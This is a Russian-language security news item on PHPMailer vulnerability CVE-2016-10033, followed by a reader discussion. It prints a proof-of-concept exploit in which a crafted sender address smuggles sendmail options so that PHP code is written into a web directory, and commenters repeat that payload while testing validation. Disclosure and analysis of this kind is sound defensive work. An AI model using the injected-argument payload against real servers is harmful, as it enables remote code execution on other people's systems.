В PHPMailer (https://github.com/PHPMailer/PHPMailer), популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена (https://legalhackers.com/advisories/PHPMailer-Exploit-Remote...) критическая уязвимость (CVE-2016-10033 (https://security-tracker.debian.org/tracker/CVE-2016-10033)), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.
Проблема аналогична недавно найденной (https://www.opennet.ru/opennews/art.shtml?num=45643) уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие (https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fb...) должной проверки и чистки параметра "Sender", позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под готовыми запускается PHP-приложение.
Например, возможность записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com', что демонстрирует следующий прототип эксплоита (https://legalhackers.com/exploits/CVE-2016-10033/PHPMailer-R...) (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "{?php phpinfo(); ?}";require_once('class.phpmailer.php');
$mail = new PHPMailer();$mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!\n";
}
Проблема устранена в PHPMailer 5.2.18 (https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18), все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian (https://security-tracker.debian.org/tracker/CVE-2016-10033), RHEL/CentOS (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-10033), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F25&type=s...), Ubuntu (https://www.ubuntu.com/usn/), SUSE (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2016-10033), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2016-12/). Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail.
Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla и сотнях других проектов (https://github.com/search?q=class.phpmailer.php&type=Code) (уязвимы или нет данные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений и используются ли настройки PHPMailer по умолчанию).
URL: http://openwall.com/lists/oss-security/2016/12/27/5
Новость: https://www.opennet.ru/opennews/art.shtml?num=45774
php головного мозга
Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?
да они вообще нихрена не боятся. отчаянные люди...
Xex, malloc/free актуально для С, так что этого стоит бояться в том числе пользователям интерпретатора PHP, тем более что кажется он написан весьма чудаковато, периодически оскаливаясь различным уязвимостями, связанными с неправильным парсингом аргументов и т.п.
Где в Java malloc/free? O_O
> Где в Java malloc/free? O_OГде, где... Внутри! То, что Вы его в тексте программы не видите, абсолютно не значит, что оно не исполняется.
> Где, где... Внутри! То, что Вы его в тексте программы не видите,
> абсолютно не значит, что оно не исполняется.откуда он там возьмется, при живом то GC?
> php головного мозгаНе важно, на каком языке ты говоришь, аноНЯшка. Важно насколько правильно и однозначно понимает тебя собеседник.
что php головного мозга?во первых нужно всегда фильтровать пользовательский ввод данных
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false - и скрипт киди обломаетсяво вторых - это уязвимость sendmail а не php
Ну для дураков да, но там 4 кейса включая режим "safe mode" и даже это можно обойти с Windows платформы, пример ядру пыхапэ
> во первых нужно всегда фильтровать пользовательский ввод данныхФильтрацию можно обойти другой фильтрацией.
P.S. Мы не говорим про ваш местечковый юзеркейс в хлеву.
Это тоже самое что и https://www.opennet.ru/opennews/art.shtml?num=45643
В комментарии к прошлой новости я ссылки кидал https://www.opennet.ru/openforum/vsluhforumID3/109851.html#2 на то, что на GitHub полно проектов с подобными уязвимостями.PHPMailer превзошёл мои ожидания. Использование сторонних типовых библиотек страшное зло, хуже которого только передавать в них непочищенные параметры, полагаясь, что библиотека сама вилидность проверит.
PS. Сейчас понимаю, что был прав, всегда проверяя по [\w\d\_\-\.]+\@[\w\d\-\.]+ не пропуская пробелы и кавычки. Не совсем по RFC, но без почты бухгалтеров и спамеров можно обойтись :-)
юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, system и тд. - маразм.
Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки запросов на выполнения с экранированием для макак
Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит, что интерфейсы созданы именно для макак
Выпиливать возможность прямого системного вызова - это как раз для макак.А обертку с плейсхолдерами я себе лет 10 назад написал, там писать-то 5 строчек.
>>WordPress, Drupal и JoomlaПользователи всякого устаревшего php-хлама - должны страдать.
Не пользователи, а заказчики. WP еще долго будет царствовать в клозетах и головах. Ибо "дёшева".
Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов смотрит и смеется. Ты бы свой не хлам показал, эксперт.Чего не скажешь о WP, там вообще ужас, один в wp-login.php чего стоит. Такая то помойка кода без единого стиля кода и php код вперемешку с js и html.
сразу виден икспертный специалист в этом деле. который написал целых пару сайтов на WordPress - скачивав и устанавив пачку гов-ноплагинов.
Это лишь файл wp-login.php из ядра.https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....И дальше. Весь файл просто помойка и говнокод.
Столько денег вбухали в Drupal, а он как был УГ на php, так и остался. Могли бы уж переписать на чём-то более адекватном.Wordpress - тоже чудо УГ-кодинга, тоже php. Тоже нафиг.
клоун - посмотри требования на https://wordpress.org/about/requirements/
php 7 или вышеобновил ПО на серваках или
поменял отправку на через smtp и нет проблем.
А ещё можно сразу использовать что-то более адекватное и современное.
К слову о статической линковке...PS: к TYPO3 кто-то лет десять тому сделал плагин с этой штукой и через годик забросил, по счастью: https://typo3.org/extensions/repository/view/bb_phpmailer
Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.
Marcus Bointon & PHP - sucks
хорошая либа, кстати.
а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.
Пути пхпистов неисповедимы, да.
Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.
Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.
> аналогичную уязвимость исправили 2.5 года назадИсправили?! Напишут новую!!!
Я к тому, что это, похоже, общее уязвимое место - и не только для php. Да и правда, легко ошибиться, забыв о том, что email, прошедший валидацию, вполне может содержать валидную quoted string - это необычно, и таких адресов никто почти и не видел, но, тем не менее, они валидны.Так что имеет смысл проверить те библиотеки, которыми вы пользуетесь.
Хех. Написали. Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте, а в mail-транспорте-то и не поправили :-)https://legalhackers.com/advisories/SwiftMailer-Exploit-Remo...
Это в каком проекте нет валидации email ???
Или это валидный email ???"Attacker \" -Param2 -Param3"@test.com
Не видел ни одного проекта на php без валидации email - проблема из пальца высосана...
Это валидный EMail. RFC допускает использование пробелов при выделении кавычками.
Ага. Можно сделать себе емейл типа "(),:; \"<>["@domain.tld и троллить всех багрепортами. :-)
с какого перепугу валидный?$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false
> с какого перепугу валидный?
> $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
> var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
> выдаст falseС такого, что валидность обычно таки определяетcя "общепризнанным" RFC, а не конкретной реализацией, не имеющей к этому самому RFC никакого отношения.
Да и в доке вроде как говорится о
http://php.net/manual/en/filter.filters.validate.php
> http://php.net/manual/en/filter.filters.validate.php
> his validates e-mail addresses against the syntax in RFC 822, -->with the exceptions<-- that comments and whitespace folding and dotless domain names are not supported.
>Уязвимости присвоен наивысший (Highly Critical) уровень опасности.для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.
Сссылка "сотнях других проектов" ничего не находит.
потому что никто не пользуется этим овном
Да забейте на эту уязвимость, исправят - обновим.
проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.
брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекали ещё очень давно, после чего собственно нормальные люди вырубили -Xчто касается phpmailer, то он используется как либа для отправки, и ей плевать какой емейл передают(не хорошо конечно, но логично), если приложение не может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините
желтизна, большинство cms просто не пропустят такой мыльник
> может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извинитеВо-первых, phpmailer сам предоставляет средства валидации email (PHPMailer::validateAddress()), которые и используются в CMS.
Во-вторых, пробелы и кавычки входят в число допустимых символов в соответствии с RFC 3696, т.е. "test with spaces"@email.com считается корректным.
вот из за таких как ты, которые реальность от жопы отличить не могут, такое и случается
когда спецификация почты была создана? бл**ь как фреймворки на js дак вы каждый день пишите, а то что тут 20 лет прошло, головой думать учиться учиться
> когда спецификация почты была создана?https://tools.ietf.org/html/rfc3696 создан в 2004 году и как раз отражает современные реалии. То что вы на стандарты предлагайте плевать в угоду вашему личному мировосприятию чести вам не делает.
Там полный кабздец с самим php
https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9...
https://github.com/PHPMailer/PHPMailer/pull/930
Ответте, плиз, как обновить phpmailer и проверить установленную версию. Саппорт говорит, что это 10 долларов в час будет стоить
На подходе еще 2 CVE готовь еще денег)